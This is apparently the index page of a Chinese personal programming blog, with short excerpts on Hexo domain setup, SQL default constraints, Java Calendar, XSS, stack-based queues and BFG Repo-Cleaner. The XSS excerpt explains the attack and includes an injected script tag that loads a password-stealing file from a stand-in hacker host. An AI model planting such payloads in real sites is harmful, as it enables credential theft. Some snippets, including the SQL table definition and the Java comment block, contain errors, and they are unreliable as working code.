Amos's Blog

大数据|容器化|♾️

0%

在GitHub上托管Hexo博客,访问地址自然是username.github.io,如果想用自己的域名访问这个网址,怎么做呢?
本文从域名选购到域名绑定一条龙,给你一个更清晰的操作流程。

阅读全文 »

在sql最基本的curd语句使用熟练后,我开始发现提高数据库的稳定性和易用性需要一些其他的东西,比如constraint(约束)。

我就一个没经过数据加密的user表演示一下default约束的用法。

建表语句中使用

1
2
3
4
5
6
create table user(
id int(11) not null auto_increment,
username varchar(255) default null,
status varchar(255) default "active";
primary key (id)
) engine=InnoDB default charset=utf8;

已有表结构?使用alter插入字段

1
alter table user add status varchar(255) default "active";

有默认值的表如何添加数据

那么表结构已经有了default约束,在插入值的时候如何处理字段的默认值呢?
传入null?空字符串?或者是不填?都不行!

阅读全文 »

今天碰到获取时间中月份和日期的需求,立马去翻jdk,发现util.Date类中的获取方法竟然在jdk1.1就过期了…
于是按着jdk中推荐的Calendar类摸过去,找到方法。但是不知道为什么Date里的get方法不推荐了,找机会一定要瞅一瞅源码(ง๑ •̀_•́)ง

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/*
使用Calendar实现时间拆解
/*
public void getTimeByCalendar(){
Calendar cal = Calendar.getInstance();
cal.setTime(new Date());// 传入Date对象即可
int year = cal.get(Calendar.YEAR);// 获取年份
int month=cal.get(Calendar.MONTH);// 获取月份
int day=cal.get(Calendar.DATE);// 获取日
int hour=cal.get(Calendar.HOUR);// 小时
int minute=cal.get(Calendar.MINUTE);// 分
int second=cal.get(Calendar.SECOND);// 秒
int dayOfWeek = cal.get(Calendar.DAY_OF_WEEK);// 一周的第几天
System.out.println("现在的时间是:公元"+year+"年"+month+"月"+day+"日 "+hour+"时"+minute+"分"+second+"秒 星期"+dayOfWeek);
}

翻jdk的同时还发现另一种拆分时间的方法,但是没有Calendar自由。

阅读全文 »

什么是XSS

XSS攻击:跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。

XSS是一种经常出现在web应用中的计算机安全漏洞…多的就不说了,wiki里写的很清楚。

XSS原理

我来讲讲我接触到的XSS攻击,容易发生事故的地方就在评论区或问卷提交、注册等等涉及到文本提交操作的步骤中。如果你像我一样是一个勤勤恳恳牢记社会主义核心价值观的少先队员,一定会按问题提示或页面提示输入自然语言。而如果是动了歪脑筋的坏人,他可能会输入这样的信息来恶搞你。

1
<script>alert("未满十八岁不得浏览该网站");</script>

你可能觉得这没什么,但如果他是个超级坏人,提交的不是这种简单的弹窗脚本,而是这样呢?

1
<script src="www.hackyou.com/getallpassword.js"></script>

惊不惊喜?

阅读全文 »

今天下午汉得来学校宣讲,笔试中看到这样一个题目,让我们用两个栈实现一个队列。

那时候没想太多,队列先进先出,栈先进后出,那么只要一个栈作为主栈,另一个栈作为缓存栈,来回倒腾就能实现队列的功能了。

回来后仔细想想,其实还有比这更高效的方法。

阅读全文 »

在项目中碰到关于货币金额的页面显示,为了让金额的显示更为人性化与规范化,需要加入货币格式化策略。
也就是所谓的数字千分位格式化。
例如¥39,998 $1,299

以下为包含小数处理的三种代码块。

阅读全文 »

这可能是目前互联网上最详细的BFG Repo-Cleaner中文教程了。

为了删除三天前的一次错误提交,我开始寻找关于撤销github历史commit的方法。
实话说,经历了6个小时的搜索,我依旧没有找到能解决我所碰到的奇怪问题的解决方案,我发现网络上对于BFG的相关讨论太少太少,尤其是中文的信息,更是贫瘠。另外的原因也是大部分人确实能按照官方的指引,一步到位地删除历史提交的信息。我失败了,不知道是因为git配置或是哪出了纰漏,但也因此浏览了互联网上大部分解答。
以下是我整理出的使用教程。

阅读全文 »

阿盛的技术博客诞生。